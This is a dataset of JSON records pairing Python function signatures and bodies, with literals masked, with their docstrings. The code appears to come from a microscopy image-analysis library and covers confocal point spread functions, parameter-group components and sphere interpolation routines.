{"signature": "def __init__(self, shape=None, zrange=None, laser_wavelength=<NUM_LIT>, zslab=<NUM_LIT:0.>,<EOL>zscale=<NUM_LIT:1.0>, kfki=<NUM_LIT>, n2n1=<NUM_LIT>/<NUM_LIT>, alpha=<NUM_LIT>, polar_angle=<NUM_LIT:0.>,<EOL>pxsize=<NUM_LIT>, support_factor=<NUM_LIT:2>, normalize=False, sigkf=<NUM_LIT:0.0>,<EOL>nkpts=None, cutoffval=None, measurement_iterations=None,<EOL>k_dist='<STR_LIT>', use_J1=True, sph6_ab=None, global_zscale=False,<EOL>cutbyval=False, cutfallrate=<NUM_LIT>, cutedgeval=<NUM_LIT>,<EOL>*args, **kwargs):", "body": "super(ExactPinholeConfocalPSF, self).__init__(shape=shape,<EOL>zrange=zrange, laser_wavelength=laser_wavelength, zslab=zslab,<EOL>zscale=zscale, kfki=kfki, n2n1=n2n1, alpha=alpha, pxsize=<EOL>pxsize, polar_angle=polar_angle, support_factor=support_factor,<EOL>normalize=normalize, sigkf=sigkf, nkpts=nkpts, cutoffval=<EOL>cutoffval, measurement_iterations= measurement_iterations,<EOL>k_dist=k_dist, use_J1=use_J1, sph6_ab=sph6_ab, global_zscale=<EOL>global_zscale, cutbyval=cutbyval, cutfallrate=cutfallrate,<EOL>cutedgeval=cutedgeval, *args, **kwargs)<EOL>", "docstring": "PSF for a pinhole confocal microscopes that can be used with the\nperi framework.  Calculates the spatially varying point spread\nfunction for confocal microscopes and allows them to be applied to\nimages as a convolution.\n\nThis PSF assumes that the z extent is large compared to the image size\nand so calculates the local PSF for every z layer in the image.\n\nParameters\n----------\nshape : tuple\n    Shape of the image in (z,y,x) pixel numbers (to be deprecated)\n\nzrange : tuple\n    range of z pixels over which we should calculate the psf, good pixels\n    being zrange[0] <= z <= zrange[1]. currently must be set to the interior\n    of the image, so [state.pad, state.image.shape[0] - state.pad]\n\nlaser_wavelength : float\n    wavelength of light in um of the incoming laser light\n\nzslab : float\n    Pixel position of the optical interface where 0 is the edge of the\n    image in the z direction\n\nzscale : float\n    Scaling of the z pixel size, so that each pixel is located at\n    zscale*(z - zint), such that the interface does not move with zscale\n\nkfki : float\n    Ratio of outgoing to incoming light wavevectors, 2\\pi/\\lambda\n\nn2n1 : float\n    Ratio of the index mismatch across the optical interface. For typical\n    glass with glycerol/water 80/20 mixture this is 1.4/1.518\n\nalpha : float\n    Aperture of the lens in radians, set by arcsin(n2n1)?\n\npolar_angle : float\n    the angle of the light polarization with respect to the scanning axis\n\npxsize : float\n    the size of a xy pixel in um, defaults to cohen group size 0.125 um\n\nsupport_factor : integer\n    size of the support\n\nnormalize : boolean\n    if True, use the normalization as calculated by the PSF instead of\n    unit normalization\n\nsigkf : float\n    Width of wavelengths to use in the polychromatic psf, None is\n    monochromatic. Values for kfki = kfki +- sigkf, unitless\n\nnkpts : integer\n    number of integration points to use for the polychromatic psf\n\ncutoffval : float\n    Percentage of peak psf value to cutoff using a 3-axis\n    exp(-(r-r0)**4) function where r0 is determined by cutoffval. A\n    good value for this is the bit depth of the camera, or possibly the\n    SNR, so 1/2**8 or 1/50.\n\nmeasurement_iterations : int\n    number of interations used when trying to find the center of mass\n    of the psf in a certain slice\n\nk_dist : str\n    Eithe ['gaussian', 'gamma'] which control the wavevector\n    distribution for the polychromatic detection psf. Default\n    is Gaussian.\n\nuse_J1 : boolean\n    Which hdet confocal model to use. Set to True to include the\n    J1 term corresponding to a large-NA focusing lens, False to\n    exclude it. Default is True\n\ncutbyval : boolean\n    If True, cuts the PSF based on the actual value instead of the\n    position associated with the nearest value.\n\ncutfallrate : float\n    The relative value of the cutoffval over which to damp the\n    remaining values of the psf. 0.3 seems a good fit now.\n\ncutedgeval : float\n    The value with which to determine the edge of the psf, typically\n    taken around floating point, 1e-12\n\nNotes:\n    a = ExactLineScanConfocalPSF((64,)*3)\n    psf, (z,y,x) = a.psf_slice(1., size=51)\n    imshow((psf*r**4)[:,:,25], cmap='bone')", "id": "f5757:c2:m0"}
{"signature": "def pack_args(self):", "body": "mapper = {<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>',<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>bads = [self.zscale, '<STR_LIT>']<EOL>d = {}<EOL>for k,v in iteritems(mapper):<EOL><INDENT>if k in self.param_dict:<EOL><INDENT>d[v] = self.param_dict[k]<EOL><DEDENT><DEDENT>d.update({<EOL>'<STR_LIT>': self.polar_angle,<EOL>'<STR_LIT>': self.normalize,<EOL>'<STR_LIT>':self.use_J1<EOL>})<EOL>if self.polychromatic:<EOL><INDENT>d.update({'<STR_LIT>': self.nkpts})<EOL>d.update({'<STR_LIT>': self.k_dist})<EOL><DEDENT>if self.do_pinhole:<EOL><INDENT>d.update({'<STR_LIT>': self.num_line_pts})<EOL><DEDENT>return d<EOL>", "docstring": "Pack the parameters into the form necessary for the integration\nroutines above.  For example, packs for calculate_linescan_psf", "id": "f5757:c2:m1"}
{"signature": "def psffunc(self, x, y, z, **kwargs):", "body": "<EOL>if self.polychromatic:<EOL><INDENT>func = psfcalc.calculate_polychrome_pinhole_psf<EOL><DEDENT>else:<EOL><INDENT>func = psfcalc.calculate_pinhole_psf<EOL><DEDENT>x0, y0 = [psfcalc.vec_to_halfvec(v) for v in [x,y]]<EOL>vls = psfcalc.wrap_and_calc_psf(x0, y0, z, func, **kwargs)<EOL>return vls / vls.sum()<EOL>", "docstring": "Calculates a pinhole psf", "id": "f5757:c2:m2"}
{"signature": "def __init__(self, cheb_degree=<NUM_LIT:6>, cheb_evals=<NUM_LIT:8>, *args, **kwargs):", "body": "self.cheb_degree = cheb_degree<EOL>self.cheb_evals = cheb_evals<EOL>super(ChebyshevPSF, self).__init__(*args, **kwargs)<EOL>", "docstring": "Same as ExactPSF, except that the convolution is performed in\nthe 4th dimension by employing fast Chebyshev approximates to\nhow the PSF varies with depth into the sample. For help, see\nExactPSF.\n\nOther parameters\n----------------\ncheb_degree : integer\n    degree of the Chebyshev approximant\n\ncheb_evals : integer\n    number of interpolation points used to create the coefficient matrix\n\nSee also\n--------\n:class:`peri.comp.exactpsf.ExactPSF`", "id": "f5757:c3:m0"}
{"signature": "def __init__(self, support_size=[<NUM_LIT>,<NUM_LIT>,<NUM_LIT>], *args, **kwargs):", "body": "self.cutoffval = None<EOL>self.support = np.array(support_size)<EOL>super(FixedSSChebPSF, self).__init__(*args, **kwargs)<EOL>", "docstring": "ChebyshevPSF with a fixed support size\n\nSee also\n--------\n:class:`peri.comp.exactpsf.ChebyshevPSF`", "id": "f5757:c4:m0"}
{"signature": "def characterize_psf(self):", "body": "l,u = max(self.zrange[<NUM_LIT:0>], self.param_dict['<STR_LIT>']), self.zrange[<NUM_LIT:1>]<EOL>size_l, drift_l = self.measure_size_drift(l, size=self.support)<EOL>size_u, drift_u = self.measure_size_drift(u, size=self.support)<EOL>self.drift_poly = np.polyfit([l, u], [drift_l, drift_u], <NUM_LIT:1>)<EOL>", "docstring": "Get support size and drift polynomial for current set of params", "id": "f5757:c4:m1"}
{"signature": "def __init__(self, params=None, values=None, ordered=True, category='<STR_LIT>'):", "body": "gen = OrderedDict if ordered else dict<EOL>if params is not None and values is not None:<EOL><INDENT>self.param_dict = gen()<EOL>for p,v in zip(params, values):<EOL><INDENT>self.param_dict[p] = v<EOL><DEDENT><DEDENT>elif params is not None and values is None:<EOL><INDENT>self.param_dict = params<EOL><DEDENT>else:<EOL><INDENT>self.param_dict = gen()<EOL><DEDENT>self.category = category<EOL>self.ordered = ordered<EOL>", "docstring": "Any object which computes something based on parameters and values can\nbe considered a ``ParameterGroup``. This class provides a common\ninterface since ``ParameterGroup`` appears throughout ``PERI``\nincluding ``Components``, ``Priors``, ``States``. In the very basic\nform, a ``ParameterGroup`` is a ``dict`` or ``OrderedDict`` of::\n\n    { parameter_name: parameter_value, ... }\n\nThe use of a dictionary is strictly optional -- as long as the following\nmethods are provided, the parameters and values may be stored in any\nformat that is convenient:\n\n    * :func:`~peri.comp.comp.ParameterGroup.params`\n    * :func:`~peri.comp.comp.ParameterGroup.values`\n    * :func:`~peri.comp.comp.ParameterGroup.get_values`\n    * :func:`~peri.comp.comp.ParameterGroup.set_values`\n    * :func:`~peri.comp.comp.ParameterGroup.update`\n\nParameters\n----------\nparams : string, list of strings\n    The names of the parameters, in the proper order\n\nvalues : number, list of numbers\n    The values corresponding to the parameter names\n\nordered : boolean (default: True)\n    If True, uses an OrderedDict so that parameter order is\n    deterministic independent of number of parameters\n\ncategory : string (default: 'param')\n    Name of the category associated with this ParameterGroup.\n\n    .. warning::\n\n        FIXME : should only be a property of Component", "id": "f5758:c1:m0"}
{"signature": "def update(self, params, values):", "body": "self.set_values(params, values)<EOL>return True<EOL>", "docstring": "Update the calculation of the class based on a pair or pairs\nof parameters and associated values.\n\nParameters\n----------\nparams : string, list of strings\n    name of parameters to update\n\nvalues : number, list of numbers\n    cooresponding values to update", "id": "f5758:c1:m1"}
{"signature": "def get_values(self, params):", "body": "return util.delistify(<EOL>[self.param_dict[p] for p in util.listify(params)], params<EOL>)<EOL>", "docstring": "Get the value of a list or single parameter.\n\nParameters\n----------\nparams : string, list of string\n    name of parameters which to retrieve", "id": "f5758:c1:m2"}
{"signature": "def set_values(self, params, values):", "body": "for p, v in zip(util.listify(params), util.listify(values)):<EOL><INDENT>self.param_dict[p] = v<EOL><DEDENT>", "docstring": "Directly set the values corresponding to certain parameters.\nThis does not necessarily trigger and update of the calculation,\n\nSee also\n--------\n:func:`~peri.comp.comp.ParameterGroup.update` : full update func", "id": "f5758:c1:m3"}
{"signature": "@property<EOL><INDENT>def params(self):<DEDENT>", "body": "return list(self.param_dict.keys())<EOL>", "docstring": "The list of parameters", "id": "f5758:c1:m4"}
{"signature": "@property<EOL><INDENT>def values(self):<DEDENT>", "body": "return list(self.param_dict.values())<EOL>", "docstring": "The list of values", "id": "f5758:c1:m5"}
{"signature": "def nopickle(self):", "body": "return []<EOL>", "docstring": "Elements of the class that should not be included in pickled objects.\nIf inheriting a new class, should be::\n\n    super(Class, self).nopickle() + ['other1', 'other2', ...]\n\nReturns\n-------\nelements : list of strings\n    The name of class member variables which should not be pickled", "id": "f5758:c1:m6"}
{"signature": "def initargs(self):", "body": "return {\"<STR_LIT>\": self.params, \"<STR_LIT>\": self.values, \"<STR_LIT>\": self.ordered}<EOL>", "docstring": "Pickling helper method which returns a dictionary of function\nparameters which get passed to pickle via `__getinitargs__\n<https://docs.python.org/2/library/pickle.html#object.__getinitargs__>`_\n\nReturns\n-------\narg_dict : dictionary\n    ``**kwargs`` to be passed to the __init__ func after unpickling", "id": "f5758:c1:m7"}
{"signature": "def __init__(self, params, values, ordered=True, category='<STR_LIT>'):", "body": "for attr in ['<STR_LIT>', '<STR_LIT>', '<STR_LIT>']:<EOL><INDENT>if not hasattr(self, attr):<EOL><INDENT>setattr(self, attr, None)  <EOL><DEDENT><DEDENT>super(Component, self).__init__(<EOL>params, values, ordered=ordered, category=category<EOL>)<EOL>", "docstring": "A :class:`~peri.comp.comp.ParameterGroup` which specifically computes\nover sections of an image for an :class:`~peri.states.ImageState`. To\nthis end, we require the implementation of several new member functions:\n\n    * :func:`~peri.comp.comp.Component.initialize`\n    * :func:`~peri.comp.comp.Component.get_update_tile`\n    * :func:`~peri.comp.comp.Component.get_padding_size`\n    * :func:`~peri.comp.comp.Component.set_shape`\n    * :func:`~peri.comp.comp.Component.set_tile`\n    * :func:`~peri.comp.comp.Component.get`\n\nIn order to facilitate optimizations such as caching and local updates,\nwe must incorporate tiling in this object. \n\nParameters\n----------\nparams : string, list of strings\n    The names of the parameters, in the proper order\n\nvalues : number, list of numbers\n    The values corresponding to the parameter names\n\nordered : boolean (default: True)\n    If True, uses an OrderedDict so that parameter order is\n    deterministic independent of number of parameters\n\ncategory : string (default: 'param')\n    Name of the category associated with this ParameterGroup.", "id": "f5758:c2:m0"}
{"signature": "def initialize(self):", "body": "pass<EOL>", "docstring": "Begin anew and initialize the component", "id": "f5758:c2:m1"}
{"signature": "def get_update_tile(self, params, values):", "body": "pass<EOL>", "docstring": "This method returns a :class:`~peri.util.Tile` object defining the\nregion of a field that has to be modified by the update of (params,\nvalues). For example, if this Component is the point-spread-function,\nit might return a tile of entire image since every parameter affects\nthe entire image::\n\n    return self.shape\n\n\n\nParameters\n-----------\nparams : single param, list of params\n    A single parameter or list of parameters to be updated\n\nvalues : single value, list of values\n    The values corresponding to the params\n\nReturns\n-------\ntile : :class:`~peri.util.Tile`\n    A tile corresponding to the image region", "id": "f5758:c2:m2"}
{"signature": "def get_padding_size(self, tile):", "body": "pass<EOL>", "docstring": "Get the amount of padding required for this object when calculating\nabout a tile `tile`. Padding size is the total size, so half that\non each side. For example, if this Component is a Gaussian point spread\nfunction, then the padding returned might be::\n\n    peri.util.Tile(np.ceil(2*self.sigma))\n\nParameters\n-----------\ntile : :class:`~peri.util.Tile`\n    A tile defining the region of interest\n\nReturns\n-------\npad : :class:`~peri.util.Tile`\n    A tile corresponding to the required padding size", "id": "f5758:c2:m3"}
{"signature": "def set_tile(self, tile):", "body": "self.tile = tile<EOL>", "docstring": "Set the currently active tile region for the calculation", "id": "f5758:c2:m4"}
{"signature": "def set_shape(self, shape, inner):", "body": "if self.shape != shape or self.inner != inner:<EOL><INDENT>self.shape = shape<EOL>self.inner = inner<EOL>self.initialize()<EOL><DEDENT>", "docstring": "Set the overall shape of the calculation area. The total shape of that\nthe calculation can possibly occupy, in pixels. The second, inner, is\nthe region of interest within the image.", "id": "f5758:c2:m5"}
{"signature": "def execute(self, *args, **kwargs):", "body": "pass<EOL>", "docstring": "Perform its routine, whatever that may be", "id": "f5758:c2:m6"}
{"signature": "def get(self):", "body": "pass<EOL>", "docstring": "Return the `natural` part of the model. In the case of most elements it\nis the calculated field, for others it is the object itself.", "id": "f5758:c2:m7"}
{"signature": "def exports(self):", "body": "return []<EOL>", "docstring": "Which methods a class wants to expose to parent classes", "id": "f5758:c2:m8"}
{"signature": "def nopickle(self):", "body": "return ['<STR_LIT>']<EOL>", "docstring": "Class attributes which should not be included in a pickle object", "id": "f5758:c2:m9"}
{"signature": "def register(self, obj):", "body": "self._parent = obj<EOL>", "docstring": "Registery a parent object so that communication maybe happen upwards", "id": "f5758:c2:m10"}
{"signature": "def trigger_parameter_change(self):", "body": "if self._parent:<EOL><INDENT>self._parent.trigger_parameter_change()<EOL><DEDENT>", "docstring": "Notify parents of a parameter change", "id": "f5758:c2:m11"}
{"signature": "def trigger_update(self, params, values):", "body": "if self._parent:<EOL><INDENT>self._parent.trigger_update(params, values)<EOL><DEDENT>else:<EOL><INDENT>self.update(params, values)<EOL><DEDENT>", "docstring": "Notify parent of a parameter change", "id": "f5758:c2:m12"}
{"signature": "def __init__(self, comps, field_reduce_func=None, category='<STR_LIT>'):", "body": "self.comps = comps<EOL>self.category = category<EOL>if not field_reduce_func:<EOL><INDENT>field_reduce_func = reduce_add<EOL><DEDENT>self.field_reduce_func = field_reduce_func<EOL>self.setup_params()<EOL>self.setup_passthroughs()<EOL>self._parent = None<EOL>", "docstring": "Group a number of components into a single coherent object which a\nsingle interface for each function. Obvious reductions are performed in\nplaces such as get_update_tile which takes the bounding tile of all\nconstituent get_update_tile.  The only reduction which is not\nstraight-forward is get, but by default it adds all fields. This\nclass has the same interface as Component itself.\n\nParameters\n-----------\ncomps : list of :class:`~peri.comp.comp.Component`\n    The components to group together\n\nfield_reduce_func : function(list of ndarrays)\n    Reduction function for get object of collection, what happens when\n    all comps are reduced to a single field (etc). For example, nested\n    point spread functions may want convolution to be the reduce func::\n\n        def reduce_conv(psfs):\n            ffts = np.array([fft.fftn(p) for p in psfs])\n            return fft.ifftn(np.prod(ffts, axis=0))\n\n    Or, if it is just a simple field that needs to be added together::\n\n        def reduce_add(x):\n            return reduce(add, x)\n\ncategory : string\n    Name of the category associated with this ``ComponentCollection``", "id": "f5758:c4:m0"}
{"signature": "def initargs(self):", "body": "return {<EOL>'<STR_LIT>': self.comps,<EOL>'<STR_LIT>': self.category,<EOL>'<STR_LIT>': self.field_reduce_func,<EOL>}<EOL>", "docstring": "Return arguments that are passed to init to setup the class again", "id": "f5758:c4:m1"}
{"signature": "def split_params(self, params, values=None):", "body": "pc, vc = [], []<EOL>returnvalues = values is not None<EOL>if values is None:<EOL><INDENT>values = [<NUM_LIT:0>]*len(util.listify(params))<EOL><DEDENT>for c in self.comps:<EOL><INDENT>tp, tv = [], []<EOL>for p,v in zip(util.listify(params), util.listify(values)):<EOL><INDENT>if not p in self.lmap:<EOL><INDENT>raise NotAParameterError(\"<STR_LIT>\" % (p, self))<EOL><DEDENT>if c in self.pmap[p]:<EOL><INDENT>tp.append(p)<EOL>tv.append(v)<EOL><DEDENT><DEDENT>pc.append(tp)<EOL>vc.append(tv)<EOL><DEDENT>if returnvalues:<EOL><INDENT>return pc, vc<EOL><DEDENT>return pc<EOL>", "docstring": "Split params, values into groups that correspond to the ordering in\nself.comps. For example, given a sphere collection and slab::\n\n    [\n        (spheres) [pos rad etc] [pos val, rad val, etc]\n        (slab) [slab params] [slab vals]\n    ]", "id": "f5758:c4:m4"}
{"signature": "def get(self):", "body": "fields = [c.get() for c in self.comps]<EOL>return self.field_reduce_func(fields)<EOL>", "docstring": "Combine the fields from all components", "id": "f5758:c4:m14"}
{"signature": "def set_tile(self, tile):", "body": "for c in self.comps:<EOL><INDENT>c.set_tile(tile)<EOL><DEDENT>", "docstring": "Set the current working tile for components", "id": "f5758:c4:m15"}
{"signature": "def set_shape(self, shape, inner):", "body": "for c in self.comps:<EOL><INDENT>c.set_shape(shape, inner)<EOL><DEDENT>", "docstring": "Set the shape for all components", "id": "f5758:c4:m16"}
{"signature": "def sync_params(self):", "body": "def _normalize(comps, param):<EOL><INDENT>vals = [c.get_values(param) for c in comps]<EOL>diff = any([vals[i] != vals[i+<NUM_LIT:1>] for i in range(len(vals)-<NUM_LIT:1>)])<EOL>if diff:<EOL><INDENT>for c in comps:<EOL><INDENT>c.set_values(param, vals[<NUM_LIT:0>])<EOL><DEDENT><DEDENT><DEDENT>for param, comps in iteritems(self.lmap):<EOL><INDENT>if isinstance(comps, list) and len(comps) > <NUM_LIT:1>:<EOL><INDENT>_normalize(comps, param)<EOL><DEDENT><DEDENT>", "docstring": "Ensure that shared parameters are the same value everywhere", "id": "f5758:c4:m17"}
{"signature": "def setup_passthroughs(self):", "body": "self._nopickle = []<EOL>for c in self.comps:<EOL><INDENT>funcs = inspect.getmembers(c, predicate=inspect.ismethod)<EOL>for func in funcs:<EOL><INDENT>if func[<NUM_LIT:0>].startswith('<STR_LIT>'):<EOL><INDENT>setattr(self, func[<NUM_LIT:0>], func[<NUM_LIT:1>])<EOL>self._nopickle.append(func[<NUM_LIT:0>])<EOL><DEDENT><DEDENT>funcs = c.exports()<EOL>for func in funcs:<EOL><INDENT>newname = c.category + '<STR_LIT:_>' + func.__func__.__name__<EOL>setattr(self, newname, func)<EOL>self._nopickle.append(newname)<EOL><DEDENT><DEDENT>", "docstring": "Inherit some functions from the components that we own. In particular,\nlet's grab all functions that begin with `param_` so the super class\nknows how to get parameter groups. Also, take anything that is listed\nunder Component.exports and rename with the category type, i.e.,\nSphereCollection.add_particle -> Component.obj_add_particle", "id": "f5758:c4:m19"}
{"signature": "def sphere_lerp(dr, a, alpha):", "body": "return (<NUM_LIT:1>-np.clip((dr+alpha) / (<NUM_LIT:2>*alpha), <NUM_LIT:0>, <NUM_LIT:1>))<EOL>", "docstring": "Linearly interpolate the pixels for the platonic object", "id": "f5759:m3"}
{"signature": "def sphere_logistic(dr, a, alpha):", "body": "return <NUM_LIT:1.0>/(<NUM_LIT:1.0> + np.exp(alpha*dr))<EOL>", "docstring": "Classic logistic interpolation", "id": "f5759:m4"}
{"signature": "def sphere_triangle_cdf(dr, a, alpha):", "body": "p0 = (dr+alpha)**<NUM_LIT:2>/(<NUM_LIT:2>*alpha**<NUM_LIT:2>)*(<NUM_LIT:0> > dr)*(dr>-alpha)<EOL>p1 = <NUM_LIT:1>*(dr><NUM_LIT:0>)-(alpha-dr)**<NUM_LIT:2>/(<NUM_LIT:2>*alpha**<NUM_LIT:2>)*(<NUM_LIT:0><dr)*(dr<alpha)<EOL>return (<NUM_LIT:1>-np.clip(p0+p1, <NUM_LIT:0>, <NUM_LIT:1>))<EOL>", "docstring": "Cumulative distribution function for the traingle distribution", "id": "f5759:m5"}
{"signature": "def sphere_analytical_gaussian(dr, a, alpha=<NUM_LIT>):", "body": "term1 = <NUM_LIT:0.5>*(erf((dr+<NUM_LIT:2>*a)/(alpha*np.sqrt(<NUM_LIT:2>))) + erf(-dr/(alpha*np.sqrt(<NUM_LIT:2>))))<EOL>term2 = np.sqrt(<NUM_LIT:0.5>/np.pi)*(alpha/(dr+a+<NUM_LIT>)) * (<EOL>np.exp(-<NUM_LIT:0.5>*dr**<NUM_LIT:2>/alpha**<NUM_LIT:2>) - np.exp(-<NUM_LIT:0.5>*(dr+<NUM_LIT:2>*a)**<NUM_LIT:2>/alpha**<NUM_LIT:2>)<EOL>)<EOL>return term1 - term2<EOL>", "docstring": "Analytically calculate the sphere's functional form by convolving the\nHeavyside function with first order approximation to the sinc, a Gaussian.\nThe alpha parameters controls the width of the approximation -- should be\n1, but is fit to be roughly 0.2765", "id": "f5759:m6"}
{"signature": "def sphere_analytical_gaussian_trim(dr, a, alpha=<NUM_LIT>, cut=<NUM_LIT>):", "body": "m = np.abs(dr) <= cut<EOL>rr = dr[m]<EOL>t = -rr/(alpha*np.sqrt(<NUM_LIT:2>))<EOL>q = <NUM_LIT:0.5>*(<NUM_LIT:1> + erf(t)) - np.sqrt(<NUM_LIT:0.5>/np.pi)*(alpha/(rr+a+<NUM_LIT>)) * np.exp(-t*t)<EOL>ans = <NUM_LIT:0>*dr<EOL>ans[m] = q<EOL>ans[dr >  cut] = <NUM_LIT:0><EOL>ans[dr < -cut] = <NUM_LIT:1><EOL>return ans<EOL>", "docstring": "See sphere_analytical_gaussian_exact.\n\nI trimmed to terms from the functional form that are essentially zero (1e-8)\nfor r0 > cut (~1.5), a fine approximation for these platonic anyway.", "id": "f5759:m7"}
{"signature": "def sphere_analytical_gaussian_fast(dr, a, alpha=<NUM_LIT>, cut=<NUM_LIT>):", "body": "code = \"\"\"<STR_LIT>\"\"\"<EOL>shape = r.shape<EOL>r = r.flatten()<EOL>N = self.N<EOL>ans = r*<NUM_LIT:0><EOL>pi = np.pi<EOL>inline(code, arg_names=['<STR_LIT>', '<STR_LIT:a>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT:N>'],<EOL>support_code=functions, verbose=<NUM_LIT:0>)<EOL>return ans.reshape(shape)<EOL>", "docstring": "See sphere_analytical_gaussian_trim, but implemented in C with\nfast erf and exp approximations found at\n    Abramowitz and Stegun: Handbook of Mathematical Functions\n    A Fast, Compact Approximation of the Exponential Function\n\nThe default cut 1.25 was chosen based on the accuracy of fast_erf", "id": "f5759:m8"}
{"signature": "def sphere_constrained_cubic(dr, a, alpha):", "body": "sqrt3 = np.sqrt(<NUM_LIT:3>)<EOL>b_coeff = a*<NUM_LIT:0.5>/sqrt3*(<NUM_LIT:1> - <NUM_LIT>*sqrt3*alpha)/(<NUM_LIT> + a*a)<EOL>rscl = np.clip(dr, -<NUM_LIT:0.5>*sqrt3, <NUM_LIT:0.5>*sqrt3)<EOL>a, d = rscl + <NUM_LIT:0.5>*sqrt3, rscl - <NUM_LIT:0.5>*sqrt3<EOL>return alpha*d*a*rscl + b_coeff*d*a - d/sqrt3<EOL>", "docstring": "Sphere generated by a cubic interpolant constrained to be (1,0) on\n(r0-sqrt(3)/2, r0+sqrt(3)/2), the size of the cube in the (111) direction.", "id": "f5759:m9"}
{"signature": "def exact_volume_sphere(rvec, pos, radius, zscale=<NUM_LIT:1.0>, volume_error=<NUM_LIT>,<EOL>function=sphere_analytical_gaussian, max_radius_change=<NUM_LIT>, args=()):", "body": "vol_goal = <NUM_LIT>/<NUM_LIT:3>*np.pi*radius**<NUM_LIT:3> / zscale<EOL>rprime = radius<EOL>dr = inner(rvec, pos, rprime, zscale=zscale)<EOL>t = function(dr, rprime, *args)<EOL>for i in range(MAX_VOLUME_ITERATIONS):<EOL><INDENT>vol_curr = np.abs(t.sum())<EOL>if np.abs(vol_goal - vol_curr)/vol_goal < volume_error:<EOL><INDENT>break<EOL><DEDENT>rprime = rprime + <NUM_LIT:1.0>*(vol_goal - vol_curr) / (<NUM_LIT:4>*np.pi*rprime**<NUM_LIT:2>)<EOL>if np.abs(rprime - radius)/radius > max_radius_change:<EOL><INDENT>break<EOL><DEDENT>dr = inner(rvec, pos, rprime, zscale=zscale)<EOL>t = function(dr, rprime, *args)<EOL><DEDENT>return t<EOL>", "docstring": "Perform an iterative method to calculate the effective sphere that perfectly\n(up to the volume_error) conserves volume.  Return the resulting image", "id": "f5759:m10"}
{"signature": "def __init__(self, pos, shape=None, param_prefix='<STR_LIT>', category='<STR_LIT>',<EOL>support_pad=<NUM_LIT:4>, float_precision=np.float64):", "body": "if pos.ndim != <NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>self.category = category<EOL>self.support_pad = support_pad<EOL>self.pos = pos.astype('<STR_LIT:float>')<EOL>self.param_prefix = param_prefix<EOL>if float_precision not in (np.float64, np.float32, np.float16):<EOL><INDENT>raise ValueError('<STR_LIT>' +<EOL>'<STR_LIT>')<EOL><DEDENT>self.float_precision = float_precision<EOL>self.shape = shape<EOL>self.setup_variables()<EOL>if self.shape:<EOL><INDENT>self.inner = self.shape.copy()<EOL>self.tile = self.inner.copy()<EOL>self.initialize()<EOL><DEDENT>", "docstring": "Parent class for a large collection of particles, such as spheres or\npoints or ellipsoids or rods.\n\nThis class is good for a collection of objects which each have a\nposition as well as (possibly) some other parameters, like particle\nradius, aspect ratio, or brightness. Its .get() method returns a\nfield of the drawn particles, selected on the current tile. Any\ndaughter classes need the following methods:\n\n* _draw_particle\n* _update_type\n* setup_variables\n* get_values\n* set_values\n* add_particle\n* remove_particle\n\nIn addition, the following methods should be modified for particles\nwith more parameters than just positions:\n\n* _drawargs\n* _tile\n* param_particle\n* exports\n* _p2i\n\nIf you have a few objects to group, like 2 or 3 slabs, group them\nwith a `peri.comp.ComponentCollection` instead.\n\nParameters\n----------\npos : ndarray [N,d]\n    Initial positions of the particles. Re-cast as float internally\n\nshape : ``peri.util.Tile``, optional\n    Shape of the field over which to draw the platonic spheres.\n    Default is None.\n\nparam_prefix : string, optional\n    Prefix for the particle parameter names. Default is `'sph'`\n\ncategory : string, optional\n    Category, as in comp.Component. Default is `'obj'`.\n\nsupport_pad : Int, optional\n    How much to pad the boundary of particles when calculating the\n    support so that particles do not leak out the edges. Default is 4\n\nfloat_precision : numpy float datatype, optional\n    One of numpy.float16, numpy.float32, numpy.float64; precision\n    for precomputed arrays. Default is np.float64; make it 16 or 32\n    to save memory.", "id": "f5759:c0:m0"}
{"signature": "def _draw_particle(self, pos, sign=<NUM_LIT:1>):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Updates ``self.particles`` by drawing a particle at position ``pos``,\nwith possible additional unnamed arguments between ``pos`` and\n``sign``. If ``sign`` is -1, un-draws the particle instead.\n\nTo be able to fit this component in a model, _draw_particle must\ncreate an image that is numerically continuous as pos changes --\ni.e. the edge of the particle must alias smoothly to 0.", "id": "f5759:c0:m1"}
{"signature": "def _update_type(self, params):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Given a list of parameters, returns a bool of whether or not any of\nthe parameters require a global update, and a list of particle indices\nwhich are included in ``params``, e.g.\n``return doglobal, particles``", "id": "f5759:c0:m2"}
{"signature": "def setup_variables(self):", "body": "raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Creates an ordered list of parameters and stores in self._params", "id": "f5759:c0:m3"}
{"signature": "def get_values(self, params):", "body": "<EOL>raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Returns a util.delisty-d assortment of values and parameters, e.g.\n(get values for the parameters, both particle positions and globals)\n(return delistify(values, params))", "id": "f5759:c0:m4"}
{"signature": "def set_values(self, params, values):", "body": "<EOL>raise NotImplementedError('<STR_LIT>')<EOL>", "docstring": "Sets the parameters and values", "id": "f5759:c0:m5"}
{"signature": "def _drawargs(self):", "body": "return [[] for p in self.pos]<EOL>", "docstring": "Returns a list of arguments for self._draw_particle, of the same\nlength as `self.pos`. For example, if drawing a sphere, _drawargs\ncould return a list of radii.", "id": "f5759:c0:m8"}
{"signature": "def _tile(self, n):", "body": "pos = self._trans(self.pos[n])<EOL>return Tile(pos, pos).pad(self.support_pad)<EOL>", "docstring": "Get the update tile surrounding particle `n`", "id": "f5759:c0:m9"}
{"signature": "def _p2i(self, param):", "body": "g = param.split('<STR_LIT:->')<EOL>if len(g) == <NUM_LIT:3>:<EOL><INDENT>return g[<NUM_LIT:2>], int(g[<NUM_LIT:1>])<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Parameter to indices, returns (coord, index), e.g. for a pos\npos     : ('x', 100)", "id": "f5759:c0:m12"}
{"signature": "def initialize(self):", "body": "self.particles = np.zeros(self.shape.shape, dtype=self.float_precision)<EOL>for p0, arg0 in zip(self.pos, self._drawargs()):<EOL><INDENT>self._draw_particle(p0, *listify(arg0))<EOL><DEDENT>", "docstring": "Start from scratch and initialize all objects / draw self.particles", "id": "f5759:c0:m13"}
